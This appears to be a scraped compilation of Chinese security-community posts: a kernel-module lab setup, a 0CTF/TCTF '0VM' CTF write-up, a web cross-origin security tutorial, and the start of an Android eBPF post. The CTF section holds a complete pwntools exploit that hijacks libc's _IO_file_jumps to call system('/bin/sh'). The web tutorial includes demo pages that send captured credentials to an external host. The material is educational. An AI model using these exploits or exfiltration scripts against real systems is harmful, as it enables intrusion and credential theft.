* This is also why CS (stashed in the "iret frame" by the
* hardware at entry) can not be used: this may be a return
* to kernel code, but with a user CR3 value.
*/
SAVE_AND_SWITCH_TO_KERNEL_CR3 scratch_reg=%rax save_reg=%r14
/*
* The above SAVE_AND_SWITCH_TO_KERNEL_CR3 macro doesn't do an
* unconditional CR3 write, even in the PTI case. So do an lfence
* to prevent GS speculation, regardless of whether PTI is enabled.
*/
FENCE_SWAPGS_KERNEL_ENTRY
ret
SYM_CODE_END(paranoid_entry)
正如之前所说明的那样，这个入口将会以较慢的方式来获取有关被中断任务的先前状态以检查异常是否真的来自内核空间，可以看到我们首先执行的操作和`error_entry`逻辑相同，首先保存现场，然后使用较慢的方式检查异常的来源，随即返回到上级函数。
## 0x04 一个简单内核模块的编写
事实上，本篇文章的内容到`0x03`就已经结束了，我们将在下一篇文章介绍具体的中断服务函数的实现。
但是在这里我想添加一点内容，就是如何去编译一个简易的内核模块并运行。
### 编译Linux Kernel
这个部分已经在`Kernel Pwn 学习之路(一)`给予了说明故此处不再赘述
这里需要注意一点，因为我们想要在使用`QEMU`启动时使其支持`9p`协议，因此我们需要需要修改`.config`文件，需要将文件里的
CONFIG_NET_9P=m
CONFIG_NET_9P_VIRTIO=m
CONFIG_NET_9P_XEN=m
CONFIG_NET_9P_RDMA=m
# CONFIG_NET_9P_DEBUG is not set
......
CONFIG_9P_FS=m
CONFIG_9P_FSCACHE=y
CONFIG_9P_FS_POSIX_ACL=y
CONFIG_9P_FS_SECURITY=y
替换为
CONFIG_NET_9P=y
CONFIG_NET_9P_VIRTIO=y
CONFIG_NET_9P_XEN=m
CONFIG_NET_9P_RDMA=m
CONFIG_NET_9P_DEBUG=y (Optional)
......
CONFIG_9P_FS=y
CONFIG_9P_FSCACHE=y
CONFIG_9P_FS_POSIX_ACL=y
CONFIG_9P_FS_SECURITY=y
⚠：如果执行`make`编译后无法在`/arch/x86/boot`中找到`bzImage`，请尝试执行`make -jx
bzImage`(`x`是你期望使用的核数)直至看到以下提示：
### 构建文件系统
首先找一个已经构建好的文件系统解包(可以直接利用`Busybox`生成)，重点是`bin`、`sbin`、`usr`这三个文件夹以及根目录下的`linuxrc`文件，其他文件夹均可暂时置空，然后在`/etc`下建立`passwd`文件以建立用户，内容如下：
root:x:0:0:root:/root:/bin/sh
error404:x:1000:1000:error404:/home/error404:/bin/sh
然后可以继续建立`profile`文件，内容如下：
alias ll='ls -al '
alias l='ls '
if [ $(id -u) == 0 ]; then
COLOR="31"
else
COLOR="34"
cd /home/user
fi
export PS1="e[01;${COLOR}m $(whoami)@my-kernel [33[00m]:[33[36m]w[33[00m]$ "
最后在根目录下建立最重要的`init`文件：
#!/bin/sh
mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys
#
# module
#
insmod /lib/modules/*/error404/*.ko
chmod 666 /dev/Test
# mmap_min_addr to 0 for the challenge to be simpler for now ;)
echo 0 > /proc/sys/vm/mmap_min_addr
#
# shell
#
echo "Hello!"
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
umount /dev
poweroff -f
### 内核模块代码
这是一个相当简单的内核模块代码
#include <linux/init.h>
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
MODULE_LICENSE("Dual BSD/GPL");
static int hello_init(void)
{
printk(KERN_ALERT "[ERROR404]My First Module！");
printk(KERN_ALERT "[ERROR404]sizeof cred : %d", sizeof(struct cred));
printk(KERN_ALERT "[ERROR404]sizeof tty : %d", sizeof(struct tty_struct));
printk(KERN_ALERT "[ERROR404]sizeof tty_op : %d", sizeof(struct tty_operations));
return 0;
}
static void hello_exit(void)
{
printk(KERN_ALERT "[ERROR404]Bye!");
}
module_init(hello_init);
module_exit(hello_exit);
我们首先需要在代码的同目录下写一个`makefile`，内容如下：
obj-m := Test.o
KERNELBUILD := /home/error404/Desktop/Mac_desktop/Linux-Kernel/SourceCode/linux-5.5.6
CURDIR := /home/error404/Desktop/Mac_desktop/Linux-Kernel/build/Test
modules:
make -C $(KERNELBUILD) M=$(CURDIR) modules
clean:
make -C $(KERNELBUILD) M=$(CURDIR) clean
执行`make`进行编译，将编译出的文件放在`/lib/modules/5.5.6/error404/`下即可
### 启动QEMU
建立`Start_Kernel.sh`文件，内容如下：
#！sh
qemu-system-x86_64
-kernel ./bzImage
-initrd ./rootfs.cpio
-append 'console=ttyS0 loglevel=0 pti=off oops=panic panic=1 nokaslr'
-nographic
直接运行`Start_Kernel.sh`即可，紧接着运行`dmesg`即可看到结果
在下一篇文章的末尾将会展示带交互的内核模块的编写~
## 0x05 参考链接
[【原】GitBook – Linux Inside – 0xax](https://legacy.gitbook.com/book/0xax/linux-insides/details)
[【原】Linux-内核编译–咲夜南梦](https://196011564.github.io/2020/02/26/Linux-%E5%86%85%E6%A0%B8%E7%BC%96%E8%AF%91/#%E6%89%A7%E8%A1%8C%E4%BB%A5%E4%B8%8B%E5%91%BD%E4%BB%A4%E4%B8%8B%E8%BD%BDkernel%E6%BA%90%E7%A0%81) | 社区文章 |
# 0CTF/TCTF 2021 Finals 0VM
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这道题目，是一个虚拟机的题目，比较难，使用了一种算法。
## 1.逆向部分
可以看到，题目突然来了一个这个，有点懵逼。
可以看到，这是一个`switch case`的操作，我们直接使用IDA自带的工具即可。
后面有一个FFT【傅里叶变换】，本着学习的态度，我们来学习一个傅里叶变换以及其逆变换
### 1.1 快速傅里叶变换
FFT是一种计算方法， 能够将O(n^2)的时间复杂度，变为了`O(nlogn)`，将一个多项式乘积转变为矩阵点乘。
知道了大概意思之后，我们开始寻找如何逆回去。网上搜索逆`FFT`也就是`IFFT`,但是由于对类型的处理不当。
我们可以看到这篇博客[(33条消息) 快速傅里叶变换_sky123博客-CSDN博客](https://sky123.blog.csdn.net/article/details/120213359)，使用其中的C++代码，如下：
#include<bits/stdc++.h>
using namespace std;
const int N = 3e6 + 10;
const double PI = acos(-1);
struct Complex {
double x, y;
Complex operator+(const Complex &t) const {
return {x + t.x, y + t.y};
}
Complex operator-(const Complex &t) const {
return {x - t.x, y - t.y};
}
Complex operator*(const Complex &t) const {
return {x * t.x - y * t.y, x * t.y + y * t.x};
}
};
int rev[N], bit, tot;
inline void init(int n) {
bit = __lg(n) + ((n & (-n)) != n), tot = 1 << bit;
for (int i = 0; i < tot; i++)
rev[i] = (rev[i >> 1] >> 1) | ((i & 1) << (bit - 1));
}
inline void FFT(Complex a[], int inv) {
for (int i = 0; i < tot; i++)
if (i < rev[i])swap(a[i], a[rev[i]]);
for (int mid = 1; mid < tot; mid <<= 1) {
Complex w1 = {cos(PI / mid), inv * sin(PI / mid)};
for (int i = 0; i < tot; i += mid * 2) {
Complex wk = {1, 0};
for (int j = 0; j < mid; j++, wk = wk * w1) {
auto x = a[i + j], y = wk * a[i + j + mid];
a[i + j] = x + y, a[i + j + mid] = x - y;
}
}
}
}
int n, m;
Complex a[N], b[N];
int main() {
scanf("%d%d", &n, &m);
for (int i = 0; i <= n; i++)scanf("%lf", &a[i].x);
for (int i = 0; i <= m; i++)scanf("%lf", &b[i].x);
init(n + m + 1);
FFT(a, 1), FFT(b, 1);
for (int i = 0; i < tot; i++)a[i] = a[i] * b[i];
FFT(a, -1);
for (int i = 0; i <= n + m; i++)
printf("%d%c", int(a[i].x / tot + 0.5), i == n + m ? '\n' : ' ');
return 0;
}
可以看到，在`main`函数中：
* 首先输入了两个多项式
* 然后对两个多项式进行`FFT`变换，然后进行乘积
* 乘积结束之后，使用`IFFT`将其转换为多项式
然后我们来看一下`0VM IDA`的代码：
可以看到，要求我们输入了一个多项式，然后对其进行`FFT`变换。
然后由于精度的原因，使用`lround`对实部进行取整操作。那么现在我们可以使用上面那个模板的`IFFT`。我们只要先对我们需要输入的数据，进行`IFFT`操作，之后`0VM`会对我们的数据进行`FFT`，这样之后，我们就可以得到我们想要输入的数据。但是进行`IFFT`操作有以下问题：
* `IFFT`操作是`C++`写的，但是我们的`exp`是用`Python`写的
* 答：可以使用`wrapper`，也即`python`调用`C++`，并得到它的输出
* 我们如何将一个`double`类型的数据，以`%p`的形式输出：
* 答：先得到它的`void *`类型的指针，然后将其转化为`long long *`类型的操作，之后进行取值`*`操作。
得到`IFFT`的`main`函数如下：
int main() {
n = 64;
m = 64;
for (int i = 0; i < n; i++){
scanf("%lf", &a[i].x);
}
init(n);
FFT(a, -1);
for (int i = 0; i < 64; i++)
{
void * res = (void *)&a[i].x;
printf("%p\n", *(long long *)res);
}
return 0;
}
这样便可以得到了
### 1.2 虚拟机逆向
经过上面的分析，我们可以控制虚拟机的指令，下面我们来把这个虚拟机给逆向出来。
下面我们来分析一下我们逆向的结果：
* `vm_mov_r_op`：是将一个寄存器【全局变量，抽象为寄存器】，写入任意一个值
* `vm_mov_mm_r`：将寄存器的值写入到`mmap_addr[index]`中，要求对应的`mask`为`1`
* `vm_mov_r_mm`：将`mmap_addr[index]`对应的值写入到对应的寄存器中。
* `vm_add_r_r`：是将两个寄存器相加，返回到`rax`中。
* `vmf`
* `case 1`：输出`mmap`中对应的值，要求对应的`mask`为`1`
* `case 2`：申请内存以及类似的`free`功能
* 如果`mmap_addr`中没有对应的值，则分配堆块
* 如果有对应的值，则置第一个不为0的`mask[i]`为`1`.
* 这里可以通过多次操作，使其`mask`为1
* `case 3`：链入堆块，随便链进。但是这里的`mask`需要为0
* 有一个很奇怪的地方，这里是先将`mask`置为0，然后进行判断的。说明这里存在一个漏洞，可以将某一地址进行写`0`操作。
其他需要注意点的
* `index`为`offset`的后8位
* `mask`为`mask = (unsigned int)offset / (16 * index);`
* 【可以控制，注意offset是`int`】
* 在除`vmf2`之外的函数都是通过`前32位`表示index，`后32位`表示距离`mmap_ptr`的偏移【而`mask`是和偏移相对应的】。
* `vmf2`：个人理解为一个类似于`free&add`的操作，也是通过一个`offset`同时表示的`index`和`mask`的。
## 2.漏洞利用
经过我们前面的分析目前我们已知一个漏洞：
* 能在`mask`为0的条件下，写限制范围内地址为0.
可以看到，这个漏洞很难用，肯定是要与其他漏洞配合使用的。
我们这里注意一下，这里有一个链表操作，而且不管是取链和入链操作都没有置`0`。很自然的可以想到直接泄露地址。
根据`vm3`链尾入链的操作，可以很自然的想到将尾链中的地址写一个值，这样可以造成任意地址写一个特定值【一般来说这中操作类似于`large bin
attack`，如果这里成立的话，一般情况下，我们可以使用`house of banana`等其他操作来`getshell`了】。
但是这里写值的时候，发现这里的`mask`置0了，也就是我们无法写了。
这时候我们可以想到第一个漏洞，写限制范围内地址为`0`。
复现的时候这里卡了很久…..。
其实这里的限制地址写`0`，可以部分写，不需要8字节对齐，这样，我们可以部分写我们的倒数第二条尾链，使其指向我们构造好的地址，这样便可以往任意地址写一个特定值了。
我们在上面提到过，可以使用`house of
banana`的操作，来进行`getshell`，并且题目显示调用`exit()`，理论上是可行的，但是由于题目限制输入比较多，可能会比较麻烦，有兴趣的小伙伴可以试试。
这里我们使用另外一种方法：往`mmap_addr`中写入一个地址，这样可以伪造一个结构体，进而造成任意地址写。
任意写之后，就简单了，不加说明了。
`EXP`如下：
#-*- coding:utf8 -*- from pwn import *
# import numpy as np
import subprocess
import math
context.os="linux"
context.arch="amd64"
context.word_size=64
context.endian="little"
context.log_level="debug"
#context.terminal = ['tmux', 'splitw', '-v']
local = True
pc="./0VM"
libc_mote = "/home/tzz/pwn16/libc-2.23.so"
ld_mote = "/home/tzz/pwn16/ld-2.23.so"
elf = ELF(pc)
remote_addr=["123.123.123.123",12345]
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
h64 = lambda :u64(p.recvn(6).ljust(8,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
s64 = lambda :int(p.recvline()[:-1],16)#string about
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
shell= lambda :p.interactive()
p=None
if local==True:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process(pc)
#gdb.attach(("127.0.0.1", 1234), "set sysroot ./root", exe="./channel")
#gdb.attach(p, "b *'$'rebase(0xdd9)")
else:
p=remote(remote_addr[0],remote_addr[1])
libc = ELF(libc_mote)
def wrap(choice,arg1,arg2,arg3):
cmd = "./IFFT"
tmp = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
lines = ""
lines+= str(choice)+" "
lines+= str(arg1)+" "
lines+= str(arg2)+" "
lines+= str(choice)+" "
# print(hex(arg3))
for i in range(8):
t = str((arg3 >> (i*8))&0xff )+" "
# print(t)
lines+= t#str((arg3 > (i*8))&0xff )+" "
for i in range(64-4-8):
lines+= str(0)+" "
tmp.stdin.write(lines)
out = tmp.communicate()
res = out[0].split("\n")
res1 =""
for i in range(64):
if(res[i]=="(nil)"):
res1 = res1+p64(0)
continue
res1 = res1+ p64(int(res[i],16))
# sn()
sn(res1)
def vm_mov_r_op(r,value):
# if(value=="/bin/sh\x00"):
wrap(math.log(2,2),r,0, value)
def vm_mov_mm_r(offset,r):
wrap(math.log(3,2), r, 0, offset)
def vm_mov_r_mm(r,offset):
wrap(math.log(4,2), r, 0, offset)
def vm_add_r_r(r1, r2):
wrap(math.log(5,2), r1, r2, 0)
def write(offset):
wrap(math.log(0xa0,2), 1, 0, offset)
def vmf2(offset):#malloc & free
wrap(math.log(0xa0,2), 2, 0, offset)
def vmf3(offset):#add
wrap(math.log(0xa0,2), 3, 0, offset)
if __name__ == "__main__":
ru(" ### ### ### # # #")
index = 0x4
vmf2(4<<4)
for i in range(0x10):
vmf2(4<<4)
offset1 = 4<<32 |0x40 #mask = 1 head.l = 1
vmf3(offset1)
offset2 = 4<<32 |0x80 #mask = 2 head.l = 0x80
vmf3(offset2)
#free; set = mask = 1
vmf2(0x40)
write(4<<32 |0x40)
libc_addr = l64()-0x34d080
lg("libc_addr")
addr =libc_addr + 0x37a000
#target_index = 0x5 ; 0x7f342f890028
target_addr = addr + 0x28
offset1 = 4<<32 | 0x180 #mask = 6
vmf3(offset1) # 080 -> 180 ->0
offset4 = 4<<32 | 0x40
vmf3(offset4) # 080 -> 180 ->40
vm_mov_r_op(1, target_addr)
offset2 = 4<<32 | 0x100
vm_mov_mm_r(offset2, 1)
#off_by_one
offset3 = 4<<32 | 0x79
vmf3(offset3) # 080 -> 180 ->40
# write addr in target_addr
offset1 = 4<<32 | 0x200
vmf3(offset1) # 080 -> 180 ->40->0x200
#free in order to write head+mmap_ptr+mask
for i in range(4):
vmf2(0x40)
stderr = libc_addr + libc.sym["_IO_2_1_stderr_"]
vtable = libc_addr + libc.sym["_IO_file_jumps"]#0x18 to write
system = libc_addr + libc.sym["system"]
#write mmap_ptr
vm_mov_r_op(1,vtable)
offset = 4<<32 | 0x200
vm_mov_mm_r(offset, 1)
#write mask
vm_mov_r_op(1,0x0101010101010101)
offset = 4<<32 | 0x210
vm_mov_mm_r(offset, 1)
# write system in vtable
vm_mov_r_op(1,system)
offset = 5<<32 | 0x18
vm_mov_mm_r(offset, 1)
#write binsh
vm_mov_r_op(1,stderr)
offset = 4<<32 | 0x200
vm_mov_mm_r(offset, 1)
binsh = 0x68732f6e69622f
vm_mov_r_op(1,binsh)
offset = 5<<32 | 0
vm_mov_mm_r(offset, 1)
# broke buf
vm_mov_r_op(1,1)
offset = 5<<32 | 0x20
vm_mov_mm_r(offset, 1)
#exit
wrap(math.log(0xa0,2), 4, 0, 0)
p.interactive()
`wrapper`如下：
#include<bits/stdc++.h>
using namespace std;
const int N = 3e6 + 10;
const double PI = acos(-1);
struct Complex {
double x, y;
Complex operator+(const Complex &t) const {
return {x + t.x, y + t.y};
}
Complex operator-(const Complex &t) const {
return {x - t.x, y - t.y};
}
Complex operator*(const Complex &t) const {
return {x * t.x - y * t.y, x * t.y + y * t.x};
}
};
int rev[N], bit, tot;
inline void init(int n) {
bit = __lg(n) + ((n & (-n)) != n), tot = 1 << bit;
for (int i = 0; i < tot; i++)
rev[i] = (rev[i >> 1] >> 1) | ((i & 1) << (bit - 1));
}
inline void FFT(Complex a[], int inv) {
for (int i = 0; i < tot; i++)
if (i < rev[i])swap(a[i], a[rev[i]]);
for (int mid = 1; mid < tot; mid <<= 1) {
Complex w1 = {cos(PI / mid), inv * sin(PI / mid)};
for (int i = 0; i < tot; i += mid * 2) {
Complex wk = {1, 0};
for (int j = 0; j < mid; j++, wk = wk * w1) {
auto x = a[i + j], y = wk * a[i + j + mid];
a[i + j] = x + y, a[i + j + mid] = x - y;
}
}
}
}
int n, m;
Complex a[N], b[N];
int main() {
n = 64;
m = 64;
for (int i = 0; i < n; i++){
scanf("%lf", &a[i].x);
}
init(n);
FFT(a, -1);
for (int i = 0; i < 64; i++)
{
void * res = (void *)&a[i].x;
printf("%p\n", *(long long *)res);
}
return 0;
} | 社区文章 |
# 跨域方式及其产生的安全问题
## 前言
最近在学习和挖洞的过程中碰到了一些因为涉及跨域而产生的安全问题，结合之前所学总结分享一下
## 同源策略
### 概念
同源策略是一种约定，它是浏览器最核心也最基本的安全功能。以下特征被称之为同源
* 同协议 如：<https://exp.org> 与 <http://exp.org> 不同源
* 同端口 如：<http://exp.org> 与 <http://exp.org:8080> 不同源
* 同域名 如：<http://aaa.org> 与 <http://bbb.org> 不同源
同源策略有两种限制，第一种是限制了不同源之间的请求交互，例如在使用XMLHttpRequest 或 fetch 函数时则会受到同源策略的约束。
第二个限制是浏览器中不同源的框架之间是不能进行js的交互操作的。比如通过iframe和window.open产生的不同源的窗口。这两种限制都有不同的解决方案，下面会讲解不同的解决方案和可能产生的安全问题。
**注:**
* 对于`<a>` `<script>` `<img>` `<video>` `<link>`这类属性带有src,href的标签，允许跨域加载
* 跨域请求可以发出，但是浏览器查看返回包发现跨域且无CORS头则会丢弃，而且不同子域之间默认是不同源的
* IE 未将端口号加入到同源策略的组成部分之中，因此 `[company.com:81/index.html](http://company.com:81/index.html)` 和 `[company.com/index.html](http://company.com/index.html)` 属于同源并且不受任何限制。
### 作用
有人可能一开始觉得同源策略多此一举，但如果没有同源策略会怎么样？如果没有同源策略，所有页面之间都可以相互读取，javascript就拥有无穷的权利。
举个例子。假设A页面是一个很敏感的登录系统，现在受害者先访问了我们伪造的B网页，然后诱导其登录A网页
为了假设没有同源策略，我以aaa.evoa.me为页面A和bbb.evoa.me为页面B。现实中两个不同子域默认不同源
**aaa.evoa.me/login.php**
<!-- aaa.evoa.me/login.php -->
<body>
<div style="margin-left: 100px">
<form method="POST" id='form'>
用户名: <br/>
<input id=username type="text" name="username">
<br/>
密码: <br/>
<input id=password type="password" name="username">
<br/>
<input type="submit" value="提交">
</div>
</body>
<!-- 下面设置为了模拟假设没有同源策略 -->
<script>
document.domain="evoa.me"
</script>
**bbb.evoa.me/evil.php**
<!-- bbb.evoa.me/evil.php -->
<!-- 下面设置为了模拟假设没有同源策略 -->
<script>
document.domain = "evoa.me"
</script>
<iframe src="//aaa.evoa.me/login.php" id="iframe" width=100% height=100% frameborder=0>
</iframe>
<script>
var ifrw = document.getElementById('iframe').contentWindow;
document.getElementById('iframe').onload = function(){
ifrw.document.getElementById('form').onsubmit = function(){
var username = ifrw.document.getElementById('username').value;
var password = ifrw.document.getElementById('password').value;
fetch('//xxx.xxx.xxx.xxx/?username='+username+'&'+'password='+password);
}
}
</script>
## 跨域数据传输的方式
### document.domain
此方法针对的是同源策略的第二个限制，即不同窗口之间的同源限制。且此方法只能影响顶级域名相同子域名不同之间的同源规则。
不同子域名之间默认不同源(如aaa.evoa.me与bbb.evoa.me)，但是可以通过设置document.domain为相同的更高级域名，来使不同子域同源。
**aaa.evoa.me/1.php**
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
**bbb.evoa.me/2.php**
<h1>123</h1>
通过修改document.domain
**aaa.evoa.me/1.php**
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
<script>document.domain = evoa.me</script>
**bbb.evoa.me/2.php**
<h1>123</h1>
<script>document.domain = evoa.me</script>
**注：**
* document.domain 只可以被设置为他的当前域或其当前域的父域，比如aaa.evoa.me可以设置document.domain为aaa.evoa.me 或 evoa.me，但是不能设置为aaa.evoa.com或者bbb.aaa.evoa.me
* document.domain 的赋值操作会导致端口号被重写为NULL，所以 aaa.evoa.me 仅设置document.domain为evoa.me 并不能与evoa.me进行通信，evoa.me的页面也必须赋值一次使双方端口相同从而通过浏览器的同源检测。这么做的目的是，如果子域有XSS，那么他的父域都存在安全隐患
* 设置document.domain并不会影响XMLHttpRequest 或 fetch的同源策略。
* 同一窗体不同窗口之间(iframe中的或window.open打开的），是能够获取到彼此的window对象的，如`iframe.contentWindow`可以获取iframe的window对象，但是不同源的情况下这个window对象的大部分属性和方法是受限制的，如上图alert函数一样。下面是火狐浏览器的可用window方法属性
如果某个子域为了和根域通信，根域设置了document.domain为根域，那么其他子域如果有xss漏洞可以直接跨同源攻击根域和同样设置了document.domain的其他子域
### window.name
window对象有个name属性，该属性有个特征：即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name的，每个页面对window.name都有读写的权限，window.name是持久存在一个窗口载入过的所有页面中的，并不会因新页面的载入而进行重置。
举个例子，页面有个iframe，iframe中的页面为A，无论iframe中的页面A地址怎么更改，这个iframe对象都是共享同一个window.name，A页面设置window.name，再将iframe的src设置为B页面，B页面中的JS脚本可以读取到之前A页面设置的window.name，简而言之，window.name几乎不受同源策略的影响
**aaa.evoa.me/1.php**
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
**bbb.evoa.me/2.php**
<script>
window.name = "flag{this_is_flag}";
</script>
**aaa.evoa.me/3.php**
<script>
alert(window.name);
</script>
首先，我们访问iframe中的name属性，浏览器返回了跨域访问拒绝。但是我们通过设置iframe的src为3.php
(3.php可以不与1.php同域)，在iframe中的所有页面共享window.name。然后`3.php`中的脚本访问到不同源的页面2.php并获取到了window.name
**注:**
* window.name的值只能是字符串的形式，这个字符串的大小最大能允许2M左右甚至更大的一个容量，具体取决于不同的浏览器
所以，永远不要把敏感数据存在window.name中，否则敏感数据可以被任何其他网页的JS脚本获取
### location.hash
location.hash其实就是 URL 的锚部分(从 # 号开始的部分)
具体原理是改变hash并不会导致页面刷新，所以可以利用hash值来进行数据传递。不同域下location.hash也是不能相互读取的
具体做法是，A域的页面a加载一个iframe，设置iframe的src为
`B域的b页面+#传输给b的数据`，此时b页面的js脚本可以通过读取location.hash获得页面a传过来的数据，然后在b页面再生成一个iframe，src指向`A域的页面c+#传输给a的数据`，由于页面c与页面a同域同源，所以页面c的脚本可以修改a的locaition.hash
由于此跨域方法比较麻烦且无比较直接的安全问题，此处不细讲
### PostMessage
**window.postMessage()** 方法可以安全地实现跨源通信，被调用时，会在所有页面脚本执行完毕之后向目标窗口派发一个
[`MessageEvent`](https://developer.mozilla.org/zh-CN/docs/Web/API/MessageEvent) 消息。
该函数的第一个参数为发送的消息，第二个参数是匹配发送给的窗口的url地址(可以使用`*`，代表无限制通配)，若目标url和此参数不匹配，消息就不会被发送。
被接受窗口则可以通过监听message事件来获取接受信息
例：子窗口向父窗口传递数据
**aaa.evoa.me/1.php**
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
<script>
window.addEventListener('message',function(e){
alert(e.data);
})
</script>
**bbb.evoa.me/2.php**
<script>
parent.postMessage('evoA','*');
</script>
如果事件监听没有判断事件的来源，则会有很大的安全隐患，以下面为例
**evoa.me/1.php**
<?php
setcookie("flag","flag{this_is_flag}");
?>
<iframe id='iframe' src="//evoa.me/2.php"></iframe>
<h1 id="name"></h1>
<script>
window.addEventListener('message',function(e){
document.getElementById('name').innerHTML = e.data;
})
</script>
本来1.php应该接受来自2.php传过来的数据，但由于监听事件并没有任何判断，所以我们可以构造恶意网页，构造iframe
src指向`evoa.me/1.php`往里面传数据造成xss
**evil.com/evil.php**
<iframe id="iframe" src="//evoa.me/1.php"></iframe>
如果正则设置不当，依旧可能造成安全隐患
**evoa.me/1.php**
<?php
setcookie("flag","flag{this_is_flag}");
?>
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
<h1 id="name"></h1>
<script>
window.addEventListener('message',function(e){
if(/^http:\/\/.*evoa\.me$/.test(e.origin))
document.getElementById('name').innerHTML = e.data;
})
</script>
正则设置有误，我们可以购买域名aaaevoa.me进行绕过
**aaaevoa.me/evil.php**
<iframe id="iframe" src="//evoa.me/1.php"></iframe>
### JSONP
上面讲过`<script>`标签可以跨域加载资源，但是返回内容如果不符合JS语法同样无法获取数据，JSONP则是通过返回符合JS语法的数据内容使资源能够跨域加载
**aaa.evoa.me/1.php**
<script>
function echoData(data) {
console.log("DATA: ", data);
}
</script>
<script src="//bbb.evoa.me/2.php?func=echoData"></script>
**bbb.evoa.me/2.php**
<?php
header('Content-type: application/javascript');
$func = $_REQUEST['func'] ?? "func";
$data = '["aaa","bbb","ccc","ddd"]';
echo $func . "(" . $data . ")";
?>
即`1.php`页面先设定好输出数据的函数，通过`<script>`标签请求`2.php`并带有函数名参数，`2.php`把数据当函数参数传入并根据函数名输出对应函数调用语句，`1.php`获得响应后自动调用函数即可获取数据
本来一个极其巧妙的数据传输方式，但如果配置有问题，则可能产生安全隐患，假如一个没有任何验证的JSONP接口，用来传输用户的敏感数据
**evoa.me/2.php**
<?php
header('Content-type: application/javascript');
$func = $_REQUEST['func'] ?? "func";
$data = "{'username':'evoA','password':'123456789'}";
echo $func . "(" . $data . ")";
?>
**evil.com/evil.php**
<script>
function echoData(data) {
alert("username: " + data.username + "\n" + "password: "+ data.password);
}
</script>
<script src=//evoa.me/2.php?func=echoData></script>
如果未设置Content-type，会发生什么？
**evoa.me/2.php**
<?php
$func = $_REQUEST['func'] ?? "func";
$data = "{'username':'evoA','password':'123456789'}";
echo $func . "(" . $data . ")";
?>
未设置Conten-type可以导致反射性XSS
但是就算设置好了Conten-type也可能会有安全隐患，比如IE可以在Conten-type为application/json或application/javascript的情况下XSS,具体可以看下面这篇文章
[在application/json,application/javascript等Response下进行XSS](http://www.91ri.org/16545.html)
而且这种用户完全可控点可以结合很多其他缺陷产生漏洞，所以这种接口还应该过滤非法字符
防御方法：
* 验证referer，很多接口验证referer的正则有误，可以通过绕过正则继续攻击，
* 验证token
### CORS
上面说过浏览器的同源策略有两种限制，CORS头就是为了突破不同源之间的请求交互这一限制而产生的，
只需要HTTP返回
`Access-Control-Allow-Origin: http://evil.com`
evil.com的跨域请求(XMLHttpRequest或fetch)的响应会被浏览器正确的返回
CORS的详细内容可以看<https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS>
**evoa.me/1.php**
<?php
header("Access-Control-Allow-Origin: http://evil.com");
echo "flag{this_is_flag}";
?>
如果设置`Access-Control-Allow-Origin: *`
则所有的跨域访问响应都会被允许。
如果请求需要带上Cookie，则需要服务器设置`Access-Control-Allow-Credentials: true`
否则浏览器将不会把响应内容返回给请求的发送者。
**注:**
如果设置 `Access-Control-Allow-Origin: *`，则不管设没设置`Access-Control-Allow-Credentials: true`，带Cookie的请求都会失败，这是浏览器的规定，若请求需带上Cookie， `Access-Control-Allow-Origin:`不能使用*
如果输出`Access-Control-Allow-Origin`采用正则的方式，正则编写失误的话很可能产生安全漏洞
如下
**evoa.me/1.php**
<?php
error_reporting(0);
if(preg_match("/^http:\/\/.*\.?evoa.me/",getallheaders()['Origin']))
{
header("Access-Control-Allow-Origin: ".getallheaders()['Origin']);
}
echo "flag{this_is_flag}";
?>
由于正则没有以$结尾，我们可以构造evoa.me.evil.com进行恶意访问
一般来说只要正确配置`Access-Control-Allow-Origin`就可以避免这些隐患，特别是在用正则表达式进行匹配的时候需尤为谨慎
## 参考
<https://www.jianshu.com/p/7d23b48ff8b8>
<https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy>
<https://developer.mozilla.org/zh-CN/docs/Web/API/Document/domain>
<https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage>
<https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS>
<https://www.secpulse.com/archives/56637.html>
<https://www.anquanke.com/post/id/97671> | 社区文章 |
**作者：Hcamael@知道创宇404实验室
日期：2022年11月16日
相关阅读：
[在 Android 中开发 eBPF 程序学习总结（一）](https://paper.seebug.org/2003/ "在 Android 中开发
eBPF 程序学习总结（一）")**
在上一章的基础上深入研究
在上一篇文章中，我自己改了一版BPF程序的代码`bpftest.c`，代码也在上一篇文章中放出来了，但是一个完整的BPF程序，还需要一个用户态的loader，也就是需要有一个读取BPF程序给我们数据的程序。
之前也说了，可以使用MAP来进行数据交互，在`bpftest.c`代码中`bpf_execve_map_update_elem(&key, &event,
BPF_ANY);`，把`event`结构体更新到key=1的map中，也就是说，把每个进行`syscall`调用的程序的pid，gid，还有程序名，更新到MAP中。所以我们需要一个loader，来读取MAP，从而得到这些信息。
最开始，loader我使用的是android
demo代码中的那个，但是在使用中发现，没办法读取结构体的值，也搜不到相关文章，能搜到示例代码的value类型都是整型，并且我对android开发也不是很熟悉，所以考虑用C自己写一个。
通过strace抓取之前这个loader的系统调用：
bpf(BPF_OBJ_GET, {pathname="/sys/fs/bpf/prog_bpftest_tracepoint_raw_syscalls_sys_enter", bpf_fd=0, file_flags=0}, 120) = 3
openat(AT_FDCWD, "/sys/kernel/tracing/events/raw_syscalls/sys_enter/id", O_RDONLY|O_CLOEXEC) = 4
